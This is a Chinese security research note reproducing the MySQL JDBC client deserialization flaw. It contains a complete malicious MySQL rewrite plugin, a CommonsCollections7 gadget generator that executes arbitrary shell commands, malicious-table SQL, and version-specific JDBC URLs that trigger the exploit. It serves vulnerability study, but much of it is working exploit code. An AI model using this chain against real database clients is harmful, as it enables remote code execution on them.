mysql java 序列化_MySQL JDBC 客户端反序列化漏洞

背景介绍

2019年11月底Yang Zhang等人在BlackHat上有个议题,提到MySQL JDBC客户端反序列

化漏洞,用到ServerStatusDiffInterceptor,参[1]。

2019年12月Welkin给出了部分细节,但当时未解决恶意服务端的组建问题,参[2]。

codeplutos利用修改过的MySQL插件成功组建恶意服务端,这个脑洞开得可以。与此

同时,他演示了另一条利用路径,用到detectCustomCollations。需要指出,他的方

案原理同时适用于ServerStatusDiffInterceptor、detectCustomCollations,他只

以后者举例而已。参[3]。

2020年4月fnmsd分析MySQL Connector/J各版本后给出大一统的总结,给出不同版本

所需URL,给了Python版恶意服务端,参[4]、[5]、[6]。

2020年5月我学习前几位的大作,写了这篇笔记。

学习思路

先将[1]、[2]、[3]、[4]、[5]、[6]全看了一遍,没做实验,只是看。对这个洞大概有点数,通

过JDBC建立到MySQL服务端的连接时,有几个内置的SQL查询语句被发出,其中两个查

询的结果集在客户端被处理时会调用ObjectInputStream.readObject()进行反序列化。

通过控制结果集,可以在客户端搞事,具体危害视客户端拥有的Gadget环境而定。

这两个查询语句是:

SHOW SESSION STATUS

SHOW COLLATION

利用MySQL插件机制将这两个查询语句在服务端"重定向"成查询恶意表,恶意表中某

字段存放恶意Object。

需要安装MySQL,创建恶意表,编译定制过的恶意MySQL插件。写一个通用的JDBC客户

端程序,用之访问恶意服务端。用Wireshark抓包,基于抓包数据用Python实现简版

恶意服务端,这样可以避免陷入MySQL私有协议细节当中。

搭建测试环境

恶意MySQL插件

获取MySQL 5.7.28源码

在rewrite_example基础上修改出evilreplace

$ vi evilreplace.cc

/ Copyright (c) 2015, Oracle and/or its affiliates. All rights reserved.

This program is free software; you can redistribute it and/or modify

it under the terms of the GNU General Public License, version 2.0,

as published by the Free Software Foundation.

This program is also distributed with certain software (including

but not limited to OpenSSL) that is licensed under separate terms,

as designated in a particular file or component or in included license

documentation. The authors of MySQL hereby grant you an additional

permission to link the program and your derivative works with the

separately licensed software that they have included with MySQL.

This program is distributed in the hope that it will be useful,

but WITHOUT ANY WARRANTY; without even the implied warranty of

MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

GNU General Public License, version 2.0, for more details.

You should have received a copy of the GNU General Public License

along with this program; if not, write to the Free Software

Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA

02110-1301 USA */

#include

#include

#include

#include

#include

#include

#include // my_thread_handle needed by mysql_memory.h

#include

/* instrument the memory allocation */

#ifdef HAVE_PSI_INTERFACE

static PSI_memory_key key_memory_evilreplace;

static PSI_memory_info all_rewrite_memory[]=

{

{ &key_memory_evilreplace, "evilreplace", 0 }

};

static int plugin_init(MYSQL_PLUGIN)

{

const char* category= "sql";

int count;

count= array_elements(all_rewrite_memory);

mysql_memory_register(category, all_rewrite_memory, count);

return 0; /* success */

}

#else

#define plugin_init NULL

#define key_memory_evilreplace PSI_NOT_INSTRUMENTED

#endif /* HAVE_PSI_INTERFACE */

static int rewrite_lower(MYSQL_THD thd, mysql_event_class_t event_class,

const void *event)

{

if (event_class == MYSQL_AUDIT_PARSE_CLASS)

{

const struct mysql_event_parse *event_parse=

static_cast(event);

if (event_parse->event_subclass == MYSQL_AUDIT_PARSE_PREPARSE)

{

#if 0

size_t query_length= event_parse->query.length;

char *rewritten_query=

static_cast(my_malloc(key_memory_evilreplace,

query_length + 1, MYF(0)));

for (unsigned i= 0; i < query_length + 1; i++)

rewritten_query[i]= tolower(event_parse->query.str[i]);

event_parse->rewritten_query->str= rewritten_query;

event_parse->rewritten_query->length= query_length;

*((int *)event_parse->flags)|=

(int)MYSQL_AUDIT_PARSE_REWRITE_PLUGIN_QUERY_REWRITTEN;

#else

if

(

( strcmp( event_parse->query.str, "SHOW SESSION STATUS" ) == 0 )

||

( strcmp( event_parse->query.str, "SHOW COLLATION" ) == 0 )

)

{

char evilsql[] = "select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;";

char *rewritten_query = static_cast

(

my_malloc

(

key_memory_evilreplace,

strlen( evilsql ) + 1,

MYF(0)

)

);

strcpy( rewritten_query, evilsql );

event_parse->rewritten_query->str = rewritten_query;

event_parse->rewritten_query->length = strlen( evilsql ) + 1;

*((int *)event_parse->flags) |= (int)MYSQL_AUDIT_PARSE_REWRITE_PLUGIN_QUERY_REWRITTEN;

}

#endif

}

}

return 0;

}

/* Audit plugin descriptor */

static struct st_mysql_audit evilreplace_descriptor=

{

MYSQL_AUDIT_INTERFACE_VERSION, /* interface version */

NULL, /* release_thd() */

rewrite_lower, /* event_notify() */

{ 0,

0,

(unsigned long) MYSQL_AUDIT_PARSE_ALL, } /* class mask */

};

/* Plugin descriptor */

mysql_declare_plugin(audit_log)

{

MYSQL_AUDIT_PLUGIN, /* plugin type */

&evilreplace_descriptor, /* type specific descriptor */

"evilreplace", /* plugin name */

"Oracle", /* author */

"An example of a query rewrite"

" plugin that rewrites all queries"

" to lower case", /* description */

PLUGIN_LICENSE_GPL, /* license */

plugin_init, /* plugin initializer */

NULL, /* plugin deinitializer */

0x0002, /* version */

NULL, /* status variables */

NULL, /* system variables */

NULL, /* reserverd */

0 /* flags */

}

mysql_declare_plugin_end;

参考[3],codeplutos介绍了Ubuntu 16.04下的MySQL插件编译方案。各发行版的编译过

程差别较大,RedHat 7.6上明显不同,建议先搞清楚如何编译MySQL源码,再来编译

单个插件。

编译:

/usr/bin/c++ -DHAVE_CONFIG_H -DHAVE_LIBEVENT2 -DMYSQL_DYNAMIC_PLUGIN -D_FILE_OFFSET_BITS=64 \

-D_GNU_SOURCE -Devilreplace_EXPORTS -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual \

-Wno-unused-parameter -O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF -fPIC \

-I//mysql-5.7.28/include \

-I//mysql-5.7.28/extra/rapidjson/include \

-I//mysql-5.7.28/libbinlogevents/include \

-I//mysql-5.7.28/libbinlogevents/export \

-isystem //mysql-5.7.28/zlib \

-I//mysql-5.7.28/sql \

-I//mysql-5.7.28/sql/auth \

-I//mysql-5.7.28/regex \

-o evilreplace.cc.o \

-c evilreplace.cc

链接:

/usr/bin/c++ -fPIC -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual -Wno-unused-parameter \

-O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF \

-fPIC -shared -Wl,-soname,evilreplace.so -o evilreplace.so \

evilreplace.cc.o -lpthread \

//libmysqlservices.a -lpthread

测试rewriter插件

rewriter.so是自带的插件,不需要源码编译。

安装rewriter.so

查看:/usr/share/mysql/install_rewriter.sql

除了安装rewriter.so,还涉及辅助表和存储过程的创建。

mysql> source /usr/share/mysql/install_rewriter.sql

这会多出query_rewrite库、query_rewrite.rewrite_rules表。

mysql> show plugins;

Name

Status

Type

Library

License

Rewriter

ACTIVE

AUDIT

rewriter.so

GPL

mysql> SHOW GLOBAL VARIABLES LIKE 'rewriter_enabled';

Variable_name

Value

rewriter_enabled

ON

在服务端替换SQL查询语句

向query_rewrite.rewrite_rules表中插入替换规则:

mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('select line from sczdb.SczTable', 'select line from sczdb.scztable limit 1');

调用存储过程刷新,使之热生效:

mysql> call query_rewrite.flush_rewrite_rules();

测试替换规则:

mysql> select line from sczdb.SczTable;

37feab87ce49e8584b37f85d6c5e7151.png

卸载rewriter.so

mysql> source /usr/share/mysql/uninstall_rewriter.sql

只有退出当前客户端才彻底卸载rewriter插件,否则其仍在生效中。

rewriter插件的局限性

清空表,二选一,推荐后者:

delete from query_rewrite.rewrite_rules;

truncate table query_rewrite.rewrite_rules;

mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('SHOW SESSION STATUS', 'select * from evildb.eviltable');

mysql> select * from query_rewrite.rewrite_rules;

id

pattern

pattern_database

replacement

enabled

message

pattern_digest

normalized_pattern

1

SHOW SESSION STATUS

NULL

select * from evildb.eviltable

YES

NULL

NULL

NULL

mysql> call query_rewrite.flush_rewrite_rules();

ERROR 1644 (45000): Loading of some rule(s) failed.

调用存储过程刷新时意外失败,查看失败原因:

mysql> select message from query_rewrite.rewrite_rules;

536b90b87939c6deec5603a7c3469e18.png

pattern必须是select语句,show语句不行。

据说5.7的pattern只支持select,8.0支持insert、update、delete,未实测验证。

难怪codeplutos要修改rewrite_example.cc。

漏洞相关的SQL查询语句

SHOW SESSION STATUS

mysql> help SHOW

...

SHOW COLLATION [like_or_where]

...

SHOW [GLOBAL | SESSION] STATUS [like_or_where]

...

If the syntax for a given SHOW statement includes a LIKE 'pattern'

part, 'pattern' is a string that can contain the SQL % and _ wildcard

characters. The pattern is useful for restricting statement output to

matching values.

...

mysql> help SHOW STATUS

...

"SHOW SESSION STATUS"访问INFORMATION_SCHEMA.SESSION_STATUS表。参[2],作者

说访问INFORMATION_SCHEMA.SESSION_VARIABLES表,他应该说错了。

查看INFORMATION_SCHEMA.SESSION_STATUS表结构:

mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='SESSION_STATUS';

table_schema

table_name

column_name

column_type

information_schema

SESSION_STATUS

VARIABLE_NAME

varchar(64)

information_schema

SESSION_STATUS

VARIABLE_VALUE

varchar(1024)

直接访问INFORMATION_SCHEMA.SESSION_STATUS表缺省会失败:

mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10;

ERROR 3167 (HY000): The 'INFORMATION_SCHEMA.SESSION_STATUS' feature is disabled; see the documentation for 'show_compatibility_56'

需要打开一个开关:

mysql> set @@global.show_compatibility_56=ON;

mysql> select * from INFORMATION_SCHEMA.SESSION_STATUS limit 10;

mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10;

VARIABLE_NAME

VARIABLE_VALUE

ABORTED_CLIENTS

1

ABORTED_CONNECTS

0

BINLOG_CACHE_DISK_USE

0

BINLOG_CACHE_USE

0

BINLOG_STMT_CACHE_DISK_USE

0

BINLOG_STMT_CACHE_USE

0

BYTES_RECEIVED

2809

BYTES_SENT

11620

COM_ADMIN_COMMANDS

0

COM_ASSIGN_TO_KEYCACHE

0

SHOW COLLATION

mysql> help SHOW COLLATION;

...

mysql> SHOW COLLATION WHERE Charset='latin1';

Collation

Charset

Id

Default

Compiled

Sortlen

latin1_german1_ci

latin1

5

Yes

1

latin1_swedish_ci

latin1

8

Yes

Yes

1

latin1_danish_ci

latin1

15

Yes

1

latin1_german2_ci

latin1

31

Yes

2

latin1_bin

latin1

47

Yes

1

latin1_general_ci

latin1

48

Yes

1

latin1_general_cs

latin1

49

Yes

1

latin1_spanish_ci

latin1

94

Yes

1

"SHOW COLLATION"访问INFORMATION_SCHEMA.COLLATIONS表。

查看INFORMATION_SCHEMA.COLLATIONS表结构:

mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='COLLATIONS';

table_schema

table_name

column_name

column_type

information_schema

COLLATIONS

COLLATION_NAME

varchar(32)

information_schema

COLLATIONS

CHARACTER_SET_NAME

varchar(32)

information_schema

COLLATIONS

ID

bigint(11)

information_schema

COLLATIONS

IS_DEFAULT

varchar(3)

information_schema

COLLATIONS

IS_COMPILED

varchar(3)

information_schema

COLLATIONS

SORTLEN

bigint(3)

可以直接访问INFORMATION_SCHEMA.COLLATIONS表,与show_compatibility_56无关。

mysql> show variables like 'show_compatibility_56';

Variable_name

Value

show_compatibility_56

OFF

mysql> select * from INFORMATION_SCHEMA.COLLATIONS limit 5;

COLLATION_NAME

CHARACTER_SET_NAME

ID

IS_DEFAULT

IS_COMPILED

SORTLE

big5_chinese_ci

big5

1

Yes

Yes

1

big5_bin

big5

84

Yes

1

dec8_swedish_ci

dec8

3

Yes

Yes

1

dec8_bin

dec8

69

Yes

1

cp850_general_ci

cp850

4

Yes

Yes

1

复现漏洞

GenerateCommonsCollections7.java

/*

* javac -encoding GBK -g -cp "commons-collections-3.1.jar" GenerateCommonsCollections7.java

* java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin

*/

import java.io.*;

import java.util.*;

import java.lang.reflect.*;

import javax.naming.*;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.*;

import org.apache.commons.collections.map.LazyMap;

public class GenerateCommonsCollections7

{

/*

* ysoserial/CommonsCollections7

*/

@SuppressWarnings("unchecked")

private static Object getObject ( String cmd ) throws Exception

{

Transformer[] tarray = new Transformer[]

{

new ConstantTransformer( Runtime.class ),

new InvokerTransformer

(

"getMethod",

new Class[]

{

String.class,

Class[].class

},

new Object[]

{

"getRuntime",

new Class[0]

}

),

new InvokerTransformer

(

"invoke",

new Class[]

{

Object.class,

Object[].class

},

new Object[]

{

null,

new Object[0]

}

),

new InvokerTransformer

(

"exec",

new Class[]

{

String[].class

},

new Object[]

{

new String[]

{

"/bin/bash",

"-c",

cmd

}

}

)

};

Transformer tchain = new ChainedTransformer( new Transformer[0] );

Map normalMap_0 = new HashMap();

Map normalMap_1 = new HashMap();

Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain );

Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain );

lazyMap_0.put( "scz", "same" );

lazyMap_1.put( "tDz", "same" );

Hashtable ht = new Hashtable();

ht.put( lazyMap_0, "value_0" );

ht.put( lazyMap_1, "value_1" );

lazyMap_1.remove( "scz" );

Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" );

f.setAccessible( true );

f.set( tchain, tarray );

return( ht );

}

public static void main ( String[] argv ) throws Exception

{

String cmd = argv[0];

String out = argv[1];

Object obj = getObject( cmd );

FileOutputStream fos = new FileOutputStream( out );

ObjectOutputStream oos = new ObjectOutputStream( fos );

oos.writeObject( obj );

oos.close();

fos.close();

}

}

java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin

xxd -p -c 1000000 /tmp/out.bin

输出形如:

aced00057372...3178

创建恶意表

DROP TABLE IF EXISTS evildb.eviltable;

DROP DATABASE IF EXISTS evildb;

CREATE DATABASE IF NOT EXISTS evildb;

CREATE TABLE IF NOT EXISTS evildb.eviltable

(

evil_1 int(5),

evil_2 blob,

evil_3 int(5)

);

set @obj=0xaced00057372...3178;

INSERT INTO evildb.eviltable VALUES (1, @obj, 3);

UPDATE evildb.eviltable SET evil_1=1, evil_2=@obj, evil_3=3;

select lower(hex(evil_2)) from evildb.eviltable;

SHOW GRANTS FOR root;

GRANT ALL ON evildb.eviltable TO 'root'@'%';

REVOKE ALL ON evildb.eviltable FROM 'root'@'%';

evil_1、evil_3也可以用blob类型,填充同样的@obj,触发点略有差异。上面演示的

恶意表是最小集,通吃。

用evilreplace插件改变SQL查询语句

用evilreplace插件将来自客户端的:

SHOW SESSION STATUS

SHOW COLLATION

替换成:select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;

参[3],这是codeplutos的思路,很有想像力,他用了自编译rewrite_example.so。

INSTALL PLUGIN evilreplace SONAME 'evilreplace.so';

SHOW SESSION STATUS;

SHOW COLLATION;

UNINSTALL PLUGIN evilreplace;

JDBCClient.java

/*

* javac -encoding GBK -g JDBCClient.java

*/

import java.io.*;

import java.sql.*;

public class JDBCClient

{

public static void main ( String[] argv ) throws Exception

{

String url = argv[0];

Connection conn = DriverManager.getConnection( url );

}

}

JDBCClient.java无需显式代码:

Class.forName( "com.mysql.cj.jdbc.Driver" );

MySQL Connector/J 各版本所需URL(ServerStatusDiffInterceptor)

参[4]、[5]、[6],fnmsd分析了各种版本所需URL。

8.x

java \

-cp "mysql-connector-java-8.0.14.jar:commons-collections-3.1.jar:." \

JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\

autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"

简化版调用关系

DriverManager.getConnection // 8u232+8.0.14

DriverManager.getConnection // DriverManager:270

NonRegisteringDriver.connect // DriverManager:664

ConnectionImpl.getInstance // NonRegisteringDriver:199

ConnectionImpl. // ConnectionImpl:240

ConnectionImpl.initializeSafeQueryInterceptors // ConnectionImpl:448

ConnectionImpl.createNewIO // ConnectionImpl:455

ConnectionImpl.connectOneTryOnly // ConnectionImpl:825

ConnectionImpl.initializePropsFromServer // ConnectionImpl:966

ConnectionImpl.handleAutoCommitDefaults // ConnectionImpl:1327

ConnectionImpl.setAutoCommit // ConnectionImpl:1382

NativeSession.execSQL // ConnectionImpl:2064

// 查询语句"SET autocommit=1"

NativeProtocol.sendQueryString // NativeSession:1154

NativeProtocol.sendQueryPacket // NativeProtocol:921

if (this.queryInterceptors != null) // NativeProtocol:969

NativeProtocol.invokeQueryInterceptorsPre // NativeProtocol:970

NoSubInterceptorWrapper.preProcess // NativeProtocol:1144

ServerStatusDiffInterceptor.preProcess

// NoSubInterceptorWrapper:76

ServerStatusDiffInterceptor.populateMapWithSessionStatusValues

// ServerStatusDiffInterceptor:105

rs = stmt.executeQuery("SHOW SESSION STATUS")

// ServerStatusDiffInterceptor:86

// 自动提交SQL查询

ResultSetUtil.resultSetToMap // ServerStatusDiffInterceptor:87

ResultSetImpl.getObject // ResultSetUtil:46

// mappedValues.put(rs.getObject(1), rs.getObject(2))

// 处理结果集中第1、2列

if ((field.isBinary()) || (field.isBlob()))

// ResultSetImpl:1314

byte[] data = getBytes(columnIndex)

// ResultSetImpl:1315

if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue())

// ResultSetImpl:1317

// 要求autoDeserialize等于true

ObjectInputStream.readObject // ResultSetImpl:1326

// obj = objIn.readObject();

Hashtable.readObject // ysoserial/CommonsCollections7

Hashtable.reconstitutionPut

AbstractMapDecorator.equals

AbstractMap.equals

LazyMap.get // 此处开始LazyMap利用链

ChainedTransformer.transform

InvokerTransformer.transform

Runtime.exec

if (this.queryInterceptors != null) // NativeProtocol:1109

NativeProtocol.invokeQueryInterceptorsPost

// NativeProtocol:1110

mysql-connector-java-8.0.14.pcap

请自行抓包,此处略

5.2) 6.x

queryInterceptors => statementInterceptors

java \

-cp "mysql-connector-java-6.0.3.jar:commons-collections-3.1.jar:." \

JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\

autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"

5.2.2) mysql-connector-java-6.0.3.pcap

请自行抓包,此处略

5.3) 5.1.11及以上版本

com.mysql.cj. => com.mysql.

java \

-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \

JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\

autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"

5.3.2) mysql-connector-java-5.1.40.pcap

请自行抓包,此处略

6) MySQL Connector/J 各版本所需URL(detectCustomCollations)

参[3],触发方式是codeplutos提供的。重点看这个函数:

com.mysql.jdbc.ConnectionImpl.buildCollationMapping()

参[4]、[5]、[6],fnmsd分析了各种版本所需URL。

6.1) 5.1.29-5.1.40

java \

-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \

JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\

autoDeserialize=true&detectCustomCollations=true"

会抛异常,但恶意代码已被执行。

6.1.1) 简化版调用关系

DriverManager.getConnection // 8u232+5.1.40

DriverManager.getConnection // DriverManager:270

NonRegisteringDriver.connect // DriverManager:664

ConnectionImpl.getInstance // NonRegisteringDriver:328

Util.handleNewInstance // ConnectionImpl:410

Constructor.newInstance // Util:425

JDBC4Connection.

ConnectionImpl. // JDBC4Connection:47

ConnectionImpl.initializeSafeStatementInterceptors // ConnectionImpl:805

ConnectionImpl.createNewIO // ConnectionImpl:806

ConnectionImpl.connectOneTryOnly // ConnectionImpl:2083

ConnectionImpl.initializePropsFromServer // ConnectionImpl:2297

if (versionMeetsMinimum(3, 21, 22)) // ConnectionImpl:3282

ConnectionImpl.buildCollationMapping // ConnectionImpl:3291

if ((versionMeetsMinimum(4, 1, 0)) && (getDetectCustomCollations()))

// ConnectionImpl:944

// 5.1.28版只检查版本号,未检查detectCustomCollations属性

results = stmt.executeQuery("SHOW COLLATION")

// ConnectionImpl:957

// 自动提交SQL查询

if (versionMeetsMinimum(5, 0, 0)) // ConnectionImpl:958

Util.resultSetToMap // ConnectionImpl:959

// Util.resultSetToMap(sortedCollationMap, results, 3, 2)

// 处理结果集中第3、2列

ResultSetImpl.getObject // Util:474

// mappedValues.put(rs.getObject(key), rs.getObject(value))

ResultSetImpl.getObjectDeserializingIfNeeded

// ResultSetImpl:4544

byte[] data = getBytes(columnIndex) // ResultSetImpl:4568

ObjectInputStream.readObject // ResultSetImpl:4579

// obj = objIn.readObject()

Hashtable.readObject // ysoserial/CommonsCollections7

Hashtable.reconstitutionPut

AbstractMapDecorator.equals

AbstractMap.equals

LazyMap.get // 此处开始LazyMap利用链

ChainedTransformer.transform

InvokerTransformer.transform

Runtime.exec

6.1.2) mysql-connector-java-5.1.40_d.pcap

请自行抓包,此处略

6.2) 5.1.19-5.1.28

不需要指定"detectCustomCollations=true"

java \

-cp "mysql-connector-java-5.1.19.jar:commons-collections-3.1.jar:." \

JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\

autoDeserialize=true"

6.2.2) mysql-connector-java-5.1.19_d.pcap

请自行抓包,此处略

7) Python版恶意服务端

7.1) fnmsd的实现

https://github.com/fnmsd/MySQL_Fake_Server他这个实现同时支持ServerStatusDiffInterceptor、detectCustomCollations,还

支持"恶意MySQL Server读取MySQL Client端文件",只需要Python3。

他在"踩过的坑"里写了一些值得注意的点,有兴趣者可以看他的源码。

7.2) 其他思路

fnmsd的实现,功能完备。如果只是想搞标题所说漏洞,我说个别的思路。可以基于

Gifts版本实现反序列化恶意服务端:https://github.com/Gifts/Rogue-MySql-Server

ServerStatusDiffInterceptor适用范围包含detectCustomCollations适用范围,为

了减少麻烦,可以只支持ServerStatusDiffInterceptor。具体来说,就是只特殊响

应"SHOW SESSION STATUS",不特殊响应"SHOW COLLATION"。

基于三次抓包组织响应报文:

mysql-connector-java-5.1.40.pcap

mysql-connector-java-6.0.3.pcap

mysql-connector-java-8.0.14.pcap

要点如下:

5.1.11及以上版本

6.x

特殊响应"SHOW SESSION STATUS",然后必须特殊响应随后而来的

"SHOW WARNINGS"。

8.x

按抓包所示响应初始查询:

/* mysql-connector-java-8.0.14 (Revision: 36534fa273b4d7824a8668ca685465cf8eaeadd9) */SELECT ...

然后按抓包所示响应随后而来的"SHOW WARNINGS"。

特殊响应"SHOW SESSION STATUS",然后必须特殊响应随后而来的

"SHOW WARNINGS"。

这种搞法的好处是不用特别理解MySQL私有协议,fnmsd"踩过的坑"你都不会碰上。

十多年前我们按协议规范组织SMB报文时,有天看到某人在PoC里用了一个变量名,叫

sendcode,他实际是把Ethereal抓包看到数据直接投放出来。当时我们很震惊,不是

佩服得震惊。后来觉得某些场景下这样干,也没什么可鄙视的。

基于三次抓包组织响应报文的思路,跟sendcode异曲同工,比你想像得要通用。

当然,如果不是特别好奇,还是用fnmsd的实现吧。

参考链接

446834a71d30acd0479540c0e3cdf1d3.png

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1227/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值